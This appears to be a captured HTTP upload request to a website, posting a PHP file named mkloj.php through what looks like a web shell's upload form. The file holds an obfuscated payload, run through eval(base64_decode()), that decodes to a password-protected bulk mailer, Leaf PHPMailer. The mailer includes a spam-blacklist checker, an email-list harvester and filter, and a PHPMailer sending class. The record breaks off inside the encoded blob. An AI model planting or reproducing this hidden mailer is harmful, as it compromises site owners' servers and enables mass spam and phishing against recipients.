Safari\/537.36\ncontent-length:222320\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:same-origin\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nsec-fetch-user:?1\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--606a2699a7e6eb9dbc37f9db76c93e95\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--606a2699a7e6eb9dbc37f9db76c93e95\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--606a2699a7e6eb9dbc37f9db76c93e95\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"mkloj.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\n$password = \"xleeeeet\"; \/\/ MaILER Password \n\n\neval (base64_decode(\"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgcHJpbnQgIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ncGFzc3dvcmQnIG5hbWU9J3Bhc3MnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiI7CiAgICAgICAgZXhpdDsgICAgICAgIAogICAgfQp9CgpzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CgoKZnVuY3Rpb24gbGVhZkNsZWFyKCR0ZXh0LCRlbWFpbCl7CgkkZSA9IGV4cGxvZGUoJ0AnLCAkZW1haWwpOwoJJGVtYWlsdXNlcj0kZVswXTsKCSRlbWFpbGRvbWFpbj0kZVsxXTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstdGltZS1dIiwgZGF0ZSgibS9kL1kgaDppOnMgYSIsIHRpbWUoKSksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWwtXSIsICRlbWFpbCwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbHVzZXItXSIsICRlbWFpbHVzZXIsICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWxkb21haW4tXSIsICRlbWFpbGRvbWFpbiwgJHRleHQpOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21sZXR0ZXJzLV0iLCByYW5kU3RyaW5nKCdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eicpLCAkdGV4dCk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbXN0cmluZy1dIiwgcmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbnVtYmVyLV0iLCByYW5kU3RyaW5nKCcwMTIzNDU2Nzg5JyksICR0ZXh0KTsKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbWQ1LV0iLCBtZDUocmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JykpLCAkdGV4dCk7CiAgICByZXR1cm4gJHRleHQ7ICAKfQpmdW5jdGlvbiBsZWFmVHJpbSgkc3RyaW5nKXsKCSRzdHJpbmc9dXJsZGVjb2RlKCRzdHJpbmcpOwogICAgcmV0dXJuIHN0cmlwc2xhc2hlcyh0cmltKCRzdHJpbmcpKTsKfQpmdW5jdGlvbiByYW5kU3RyaW5nKCRjb25zb25hbnRzKSB7CiAgICAkbGVuZ3RoPXJhbmQoMTIsMjUpOwogICAgJHBhc3N3b3JkID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRwYXNzd29yZCAuPSAkY29uc29uYW50c1socmFuZCgpICUgc3RybGVuKCRjb25zb25hbnRzKSldOwogICAgfQogICAgcmV0dXJuICRwYXNzd29yZDsKfQpmdW5jdGlvbiBsZWFmTWFpbENoZWNrKCRlbWFpbCl7CiAgICBpZiAoZmlsdGVyX3ZhcigkZW1haWwsIEZJTFRFUl9WQUxJREFURV9FTUFJTCkpIHJldHVybiB0cnVlOwogICAgZWxzZSByZXR1cm4gZmFsc2U7Cn0KIyBCdWxpdC1pbiBCbGFja0xpc3QgQ2hlY2tlciAKaWYoaXNzZXQoJF9HRVRbJ2NoZWNrX2lwJ10pKXsKICAgIGlmIChpc3NldCgkX0dFVFsnaG9zdCddKSl7CiAgICAgICAgJF9HRVRbJ2hvc3QnXT1leHBsb2RlKCIsIiwgJF9HRVRbJ2hvc3QnXSk7CiAgICAgICAgZm9yZWFjaCAoJF9HRVRbJ2hvc3QnXSBhcyAkaG9zdCkgewogICAgICAgICAgICBpZiAoY2hlY2tkbnNycigkX0dFVFsnY2hlY2tfaXAnXSAuICIuIiAuICAkaG9zdCAuICIuIiwgIkEiKSkgJGNoZWNrPSAiPGZvbnQgY29sb3I9J3JlZCc+IExpc3RlZDwvZm9udD4iOwogICAgICAgICAgICBlbHNlICRjaGVjaz0gIjxmb250IGNvbG9yPSdncmVlbic+IENsZWFuPC9mb250PiI7CiAgICAgICAgICAgIHByaW50ICdkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiJy4gJGhvc3QuJyIpLmlubmVySFRNTCA9ICInLiRjaGVjay4nIjsnOwogICAgICAgIH0KCiAgICAgICAgZXhpdDsKICAgIH0KICAgICRkbnNibF9sb29rdXAgPSBbCiAgICAgICAgImFsbC5zNWgubmV0IiwKICAgICAgICAiYi5iYXJyYWN1ZGFjZW50cmFsLm9yZyIsCiAgICAgICAgImJsLnNwYW1jb3AubmV0IiwKICAgICAgICAiYmxhY2tsaXN0Lndvb2R5LmNoIiwKICAgICAgICAiYm9nb25zLmN5bXJ1LmNvbSIsCiAgICAgICAgImNibC5hYnVzZWF0Lm9yZyIsCiAgICAgICAgImNkbC5hbnRpLXNwYW0ub3JnLmNuIiwKICAgICAgICAiY29tYmluZWQuYWJ1c2UuY2giLAogICAgICAgICJkYi53cGJsLmluZm8iLAogICAgICAgICJkbnNibC0xLnVjZXByb3RlY3QubmV0IiwKICAgICAgICAiZG5zYmwtMi51Y2Vwcm90ZWN0Lm5ldCIsCiAgICAgICAgImRuc2JsLTMudWNlcHJvdGVjdC5uZXQiLAogICAgICAgICJkbnNibC5hbnRpY2FwdGNoYS5uZXQiLAogICAgICAgICJkbnNibC5kcm9uZWJsLm9yZyIsCiAgICAgICAgImRuc2JsLmlucHMuZGUiLAogICAgICAgICJkbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJkcm9uZS5hYnVzZS5jaCIsCiAgICAgICAgImR1aW52LmF1cGFkcy5vcmciLAogICAgICAgICJkdWwuZG5zYmwuc29yYnMubmV0IiwKICAgICAgICAiZHluYS5zcGFtcmF0cy5jb20iLAogICAgICAgICJkeW5pcC5yb3RoZW4uY29tIiwKICAgICAgICAiaHR0cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJpcHMuYmFja3NjYXR0ZXJlci5vcmciLAogICAgICAgICJpeC5kbnNibC5tYW5pdHUubmV0IiwKICAgICAgICAia29yZWEuc2VydmljZXMubmV0IiwKICAgICAgICAibWlzYy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJub3B0ci5zcGFtcmF0cy5jb20iLAogICAgICAgICJvcnZlZGIuYXVwYWRzLm9yZyIsCiAgICAgICAgInBibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJwcm94eS5ibC5nd2VlcC5jYSIsCiAgICAgICAgInBzYmwuc3VycmllbC5jb20iLAogICAgICAgICJyZWxheXMuYmwuZ3dlZXAuY2EiLAogICAgICAgICJyZWxheXMubmV0aGVyLm5ldCIsCiAgICAgICAgInNibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJzaG9ydC5yYmwuanAiLAogICAgICAgICJzaW5ndWxhci50dGsucHRlLmh1IiwKICAgICAgICAic210cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzb2Nrcy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzcGFtLmFidXNlLmNoIiwKICAgICAgICAic3BhbS5kbnNibC5hbm9ubWFpbHMuZGUiLAogICAgICAgICJzcGFtLmRuc2JsLnNvcmJzLm5ldCIsCiAgICAgICAgInNwYW0uc3BhbXJhdHMuY29tIiwKICAgICAgICAic3BhbWJvdC5ibHMuZGlnaWJhc2UuY2EiLAogICAgICAgICJzcGFtcmJsLmltcC5jaCIsCiAgICAgICAgInNwYW1zb3VyY2VzLmZhYmVsLmRrIiwKICAgICAgICAidWJsLmxhc2hiYWNrLmNvbSIsCiAgICAgICAgInVibC51bnN1YnNjb3JlLmNvbSIsCiAgICAgICAgInZpcnVzLnJibC5qcCIsCiAgICAgICAgIndlYi5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJ3b3JtcmJsLmltcC5jaCIsCiAgICAgICAgInhibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJ6Lm1haWxzcGlrZS5uZXQiLAogICAgICAgICJ6ZW4uc3BhbWhhdXMub3JnIiwKICAgICAgICAiem9tYmllLmRuc2JsLnNvcmJzLm5ldCIsCiAgICBdOwogICAgJHJldmVyc2VfaXAgPSBpbXBsb2RlKCIuIiwgYXJyYXlfcmV2ZXJzZShleHBsb2RlKCIuIiwgJF9HRVRbJ2NoZWNrX2lwJ10pKSk7CiAgICAkZG5zVCA9IGNvdW50KCRkbnNibF9sb29rdXApOwogICAgbGVhZmhlYWRlcigpOwogICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNiI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkJsYWNrbGlzdCBDaGVja2VyPC9zbWFsbD48L2gzPic7CiAgICBQcmludCAiQ2hlY2tpbmcgPGI+Ii4kX0dFVFsnY2hlY2tfaXAnXS4iPC9iPiBpbiA8Yj4kZG5zVDwvYj4gIGFudGktc3BhbSBkYXRhYmFzZXM6PGJyPiI7CiAgICAkZG5zTj0iIjsKICAgIHByaW50ICc8dGFibGUgPic7CiAgICBmb3IgKCRpPTA7ICRpIDwgJGRuc1Q7ICRpPSRpKzEwKSB7IAogICAgICAgICRob3N0PSIiOwogICAgICAgICRob3N0cz0iIjsKICAgICAgICBmb3IoJGo9JGk7ICRqPCRpKzEwOyRqKyspewogICAgICAgICAgICAkaG9zdD0kZG5zYmxfbG9va3VwWyRqXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRob3N0KSl7CiAgICAgICAgICAgICAgICBwcmludCAiPHRyPiA8dGQ+JGhvc3Q8L3RkPiA8dGQgaWQ9JyRob3N0Jz5DaGVja2luZyAuLjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgJGhvc3RzIC49IiRob3N0LCI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGRuc04uPSI8c2NyaXB0IHNyYz0nP2NoZWNrX2lwPSRyZXZlcnNlX2lwJmhvc3Q9Ii4kaG9zdHMuIicgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz48L3NjcmlwdD4iOwogICAgfQoKICAgIHByaW50ICc8L3RhYmxlPjwvZGl2Pic7CiAgICBwcmludCAkZG5zTjsKICAgIGV4aXQ7Cn0KaWYoaXNzZXQoJF9HRVRbJ2VtYWlsZmlsdGVyJ10pKXsKCiAgICBpZighZW1wdHkoJF9GSUxFU1snZmlsZVRvVXBsb2FkJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkX1BPU1RbJ2VtYWlsTGlzdCddPSBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsidG1wX25hbWUiXSk7IAogICAgfQogICAgJF9QT1NUWydlbWFpbExpc3QnXT1zdHJ0b2xvd2VyKCRfUE9TVFsnZW1haWxMaXN0J10pOwogICBpZigkX0dFVFsnZW1haWxmaWx0ZXInXT09ImlmcmFtIil7CiAgICAgICAgaWYgKCRfUE9TVFsncmVzdWx0dHlwZSddID09ICJkb3dubG9hZCIpewogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZW1haWxzIi50aW1lKCkuIi50eHQiKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiAgICAgICAgfQogICAgaWYoJF9QT1NUWydzdWJtaXQnXT09ImV4dHJhY3QiKXsKICAgICAgICAkcGF0dGVybiA9ICcvW0EtWmEtejAtOS5fJSstXStAW0EtWmEtejAtOS4tXStcLltBLVphLXpdezIsNH0vJzsKICAgICAgICBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwgJF9QT1NUWydlbWFpbExpc3QnXSwgJG1hdGNoZXMpOwogICAgICAgIGZvcmVhY2ggKCRtYXRjaGVzWzBdIGFzICRlbWFpbCkgewogICAgICAgICAgICBwcmludCAkZW1haWwuIlxuIjsKICAgICAgICB9CiAgICB9CiAgICBlbHNlaWYgKCRfUE9TVFsnc3VibWl0J109PSJmaWx0ZXIiKSB7CiAgICAgICAgJGVtYWlscz1leHBsb2RlKCJcbiIsICRfUE9TVFsnZW1haWxMaXN0J10pOwogICAgICAgICRrZXl3b3Jkcz1leHBsb2RlKCJcbiIsIHN0cnRvbG93ZXIoJF9QT1NUWydrZXl3b3JkcyddKSk7CiAgICAgICAgZm9yZWFjaCAoJGVtYWlscyBhcyAkZW1haWwpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGtleXdvcmRzIGFzICRrZXl3b3JkICkgewogICAgICAgICAgICAgICAgaWYoc3Ryc3RyKCRlbWFpbCwgJGtleXdvcmQpICl7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgJGVtYWlsLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CiAgICBleGl0OwogICB9CiAgIGxlYWZoZWFkZXIoKTsKICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNCI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkVtYWlsIEZpbHRlcjwvc21hbGw+PC9oMz4nOwogICBwcmludCAnCiAgICA8Zm9ybSBhY3Rpb249Ij9lbWFpbGZpbHRlcj1pZnJhbSIgbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Im15LWlmcmFtZSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgb25zdWJtaXQ9XCdcJz4KICAgICAgICA8bGFiZWwgZm9yPSJlbWFpbExpc3QiPlRleHQgPC9sYWJlbD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZVRvVXBsb2FkIiBpZD0iZmlsZVRvVXBsb2FkIj4gCiAgICAgICAgb3IKCiAgICAgICAgPHRleHRhcmVhIG5hbWU9ImVtYWlsTGlzdCIgaWQ9ImVtYWlsTGlzdCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNyIgaWQ9InRleHRBcmVhIj48L3RleHRhcmVhPgogICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPgogICAgICAgIDxkaXYgY2xhc3M9InJhZGlvIj4KICAgICAgICAgIDxsYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyZXN1bHR0eXBlIiBpZD0icmVzdWx0dHlwZSIgdmFsdWU9ImhlcmUiIGNoZWNrZWQ9IiI+CiAgICAgICAgICAgIFNob3cgUmVzdWx0IGluIHRoaXMgcGFnZQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJyYWRpbyI+CiAgICAgICAgICA8bGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmVzdWx0dHlwZSIgaWQ9InJlc3VsdHR5cGUiIHZhbHVlPSJkb3dubG9hZCI+CiAgICAgICAgICAgIERvd25sb2FkIFJlc3VsdCAoZm9yIGJpZyBudW1iZXJzKQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsZWdlbmQ+PGg0PkV4dHJhY3QgRW1haWw8L2g0PjwvbGVnZW5kPgogICAgICAgICAgICBEZXRlY3RpbmcgZXZlcnkgZW1haWwgKDEwMCUpIGFuZCBvcmRlciB0aGVtIGxpbmUgYnkgbGluZSA8YnI+PGJyPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJleHRyYWN0IiBjbGFzcz0iYnRuIGJ0bi1kZWZhdWx0IGJ0bi1zbSI+U3RhcnQ8L2J1dHRvbj4KICAgICAgICAgICAgPGxlZ2VuZD48aDQ+RmlsdGVyIEVtYWlsczwvaDQ+PC9sZWdlbmQ+CiAgICAgICAgPGxhYmVsID5LZXl3b3JkcyA8c21hbGw+IGV4OiBnbWFpbC5jb20gb3IgLmNvLnVrPC9zbWFsbD4gPC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ia2V5d29yZHMiIGlkPSJrZXl3b3JkcyIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNCIgaWQ9InRleHRBcmVhIj5nbWFpbC5jb20KaG90bWFpbC5jb20KeWFob28uY29tCi5jby51azwvdGV4dGFyZWE+PGJyPgoKICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9ImZpbHRlciIgY2xhc3M9ImJ0biBidG4tZGVmYXVsdCBidG4tc20iPlN0YXJ0PC9idXR0b24+CiAgICA8L2Zvcm0+CiAgICA8bGFiZWwgPlJlc3VsdCA8L2xhYmVsPgogICAgPGlmcmFtZSBzdHlsZT0iYm9yZGVyOm5vbmU7d2lkdGg6MTAwJTsiIG5hbWU9Im15LWlmcmFtZSIgIHNyYz0iP2VtYWlsZmlsdGVyPWlmcmFtIiA+PC9pZnJhbWU+CiAgICc7CiAgIGV4aXQ7Cgp9CiRodG1sPSJjaGVja2VkIjsKJHV0Zjg9InNlbGVjdGVkIjsKJGJpdDg9InNlbGVjdGVkIjsKCmlmKCRfUE9TVFsnYWN0aW9uJ109PSJzZW5kIiBvciAkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKCiAgICAkc2VuZGVyRW1haWw9bGVhZlRyaW0oJF9QT1NUWydzZW5kZXJFbWFpbCddKTsKICAgICRzZW5kZXJOYW1lPWxlYWZUcmltKCRfUE9TVFsnc2VuZGVyTmFtZSddKTsKICAgICRyZXBseVRvPWxlYWZUcmltKCRfUE9TVFsncmVwbHlUbyddKTsKICAgICRzdWJqZWN0PWxlYWZUcmltKCRfUE9TVFsnc3ViamVjdCddKTsKICAgICRlbWFpbExpc3Q9bGVhZlRyaW0oJF9QT1NUWydlbWFpbExpc3QnXSk7CiAgICAkbWVzc2FnZVR5cGU9bGVhZlRyaW0oJF9QT1NUWydtZXNzYWdlVHlwZSddKTsKICAgICRtZXNzYWdlTGV0dGVyPWxlYWZUcmltKCRfUE9TVFsnbWVzc2FnZUxldHRlciddKTsKICAgICRlbmNvZGluZyA9ICRfUE9TVFsnZW5jb2RlJ107CiAgICAkY2hhcnNldCA9ICRfUE9TVFsnY2hhcnNldCddOwogICAgJGh0bWw9IiI7CiAgICAkdXRmOD0iIjsKICAgICRiaXQ4PSIiOwoKICAgIGlmKCRtZXNzYWdlVHlwZT09MikgJHBsYWluPSJjaGVja2VkIjsKICAgIGVsc2UgJGh0bWw9ImNoZWNrZWQiOwoKICAgIGlmKCRjaGFyc2V0PT0iSVNPLTg4NTktMSIpICRpc289InNlbGVjdGVkIjsKICAgIGVsc2UgJHV0Zjg9InNlbGVjdGVkIjsKCiAgICBpZigkZW5jb2Rpbmc9PSI3Yml0IikgJGJpdDc9InNlbGVjdGVkIjsKICAgIGVsc2VpZigkZW5jb2Rpbmc9PSJiaW5hcnkiKSAkYmluYXJ5PSJzZWxlY3RlZCI7CiAgICBlbHNlaWYoJGVuY29kaW5nPT0iYmFzZTY0IikgJGJhc2U2ND0ic2VsZWN0ZWQiOwogICAgZWxzZWlmKCRlbmNvZGluZz09InF1b3RlZC1wcmludGFibGUiKSAkcXVvdGVkcHJpbnRhYmxlPSJzZWxlY3RlZCI7CiAgICBlbHNlICRiaXQ4PSJzZWxlY3RlZCI7CgoKCn0KaWYoJF9QT1NUWydhY3Rpb24nXT09InZpZXciKXsKCSR2aWV3TWVzc2FnZT1sZWFmVHJpbSgkX1BPU1RbJ21lc3NhZ2VMZXR0ZXInXSk7Cgkkdmlld01lc3NhZ2U9bGVhZkNsZWFyKCR2aWV3TWVzc2FnZSwidXNlckBkb21haW4uY29tIik7CglpZiAoJF9QT1NUWydtZXNzYWdlVHlwZSddPT0yKXsKCQlwcmludCAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHZpZXdNZXNzYWdlKS4iPC9wcmU+IjsKCX0KCWVsc2UgewoJCXByaW50ICR2aWV3TWVzc2FnZTsKCX0KCWV4aXQ7Cn0KCgoKaWYoIWlzc2V0KCRfUE9TVFsnc2VuZGVyRW1haWwnXSkpewogICAgJHNlbmRlckVtYWlsPSJzdXBwb3J0QCIuc3RyX3JlcGxhY2UoInd3dy4iLCAiIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsKICAgIGlmICghbGVhZk1haWxDaGVjaygkc2VuZGVyRW1haWwpKSAkc2VuZGVyRW1haWw9IiI7Cn0KCmNsYXNzIFBIUE1haWxlcgp7CiAgICAvKioKICAgICAqIFRoZSBQSFBNYWlsZXIgVmVyc2lvbiBudW1iZXIuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFZlcnNpb24gPSAnNS4yLjI4JzsKCiAgICAvKioKICAgICAqIEVtYWlsIHByaW9yaXR5LgogICAgICogT3B0aW9uczogbnVsbCAoZGVmYXVsdCksIDEgPSBIaWdoLCAzID0gTm9ybWFsLCA1ID0gbG93LgogICAgICogV2hlbiBudWxsLCB0aGUgaGVhZGVyIGlzIG5vdCBzZXQgYXQgYWxsLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkUHJpb3JpdHkgPSBudWxsOwoKICAgIC8qKgogICAgICogVGhlIGNoYXJhY3RlciBzZXQgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENoYXJTZXQgPSAnaXNvLTg4NTktMSc7CgogICAgLyoqCiAgICAgKiBUaGUgTUlNRSBDb250ZW50LXR5cGUgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENvbnRlbnRUeXBlID0gJ3RleHQvcGxhaW4nOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgZW5jb2RpbmcuCiAgICAgKiBPcHRpb25zOiAiOGJpdCIsICI3Yml0IiwgImJpbmFyeSIsICJiYXNlNjQiLCBhbmQgInF1b3RlZC1wcmludGFibGUiLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRFbmNvZGluZyA9ICc4Yml0JzsKCiAgICAvKioKICAgICAqIEhvbGRzIHRoZSBtb3N0IHJlY2VudCBtYWlsZXIgZXJyb3IgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRXJyb3JJbmZvID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBlbWFpbCBhZGRyZXNzIGZvciB0aGUgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRnJvbSA9ICdyb290QGxvY2FsaG9zdCc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBuYW1lIG9mIHRoZSBtZXNzYWdlLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRGcm9tTmFtZSA9ICdSb290IFVzZXInOwoKICAgIC8qKgogICAgICogVGhlIFNlbmRlciBlbWFpbCAoUmV0dXJuLVBhdGgpIG9mIHRoZSBtZXNzYWdlLgogICAgICogSWYgbm90IGVtcHR5LCB3aWxsIGJlIHNlbnQgdmlhIC1mIHRvIHNlbmRtYWlsIG9yIGFzICdNQUlMIEZST00nIGluIHNtdHAgbW9kZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU2VuZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgUmV0dXJuLVBhdGggb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBJZiBlbXB0eSwgaXQgd2lsbCBiZSBzZXQgdG8gZWl0aGVyIEZyb20gb3IgU2VuZGVyLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIEVtYWlsIHNlbmRlcnMgc2hvdWxkIG5ldmVyIHNldCBhIHJldHVybi1wYXRoIGhlYWRlcjsKICAgICAqIGl0J3MgdGhlIHJlY2VpdmVyJ3Mgam9iIChSRkM1MzIxIHNlY3Rpb24gNC40KSwgc28gdGhpcyBubyBsb25nZXIgZG9lcyBhbnl0aGluZy4KICAgICAqIEBsaW5rIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIxI3NlY3Rpb24tNC40IFJGQzUzMjEgcmVmZXJlbmNlCiAgICAgKi8KICAgIHB1YmxpYyAkUmV0dXJuUGF0aCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFN1YmplY3Qgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFN1YmplY3QgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIEhUTUwgb3IgcGxhaW4gdGV4dCBtZXNzYWdlIGJvZHkuCiAgICAgKiBJZiBIVE1MIHRoZW4gY2FsbCBpc0hUTUwodHJ1ZSkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBwbGFpbi10ZXh0IG1lc3NhZ2UgYm9keS4KICAgICAqIFRoaXMgYm9keSBjYW4gYmUgcmVhZCBieSBtYWlsIGNsaWVudHMgdGhhdCBkbyBub3QgaGF2ZSBIVE1MIGVtYWlsCiAgICAgKiBjYXBhYmlsaXR5IHN1Y2ggYXMgbXV0dCAmIEV1ZG9yYS4KICAgICAqIENsaWVudHMgdGhhdCBjYW4gcmVhZCBIVE1MIHdpbGwgdmlldyB0aGUgbm9ybWFsIEJvZHkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEFsdEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIGlDYWwgbWVzc2FnZSBwYXJ0IGJvZHkuCiAgICAgKiBPbmx5IHN1cHBvcnRlZCBpbiBzaW1wbGUgYWx0IG9yIGFsdF9pbmxpbmUgbWVzc2FnZSB0eXBlcwogICAgICogVG8gZ2VuZXJhdGUgaUNhbCBldmVudHMsIHVzZSB0aGUgYnVuZGxlZCBleHRyYXMvRWFzeVBlYXN5SUNTLnBocCBjbGFzcyBvciBpQ2FsY3JlYXRvcgogICAgICogQGxpbmsgaHR0cDovL3NwcmFpbi5jaC9ibG9nL2Rvd25sb2Fkcy9waHAtY2xhc3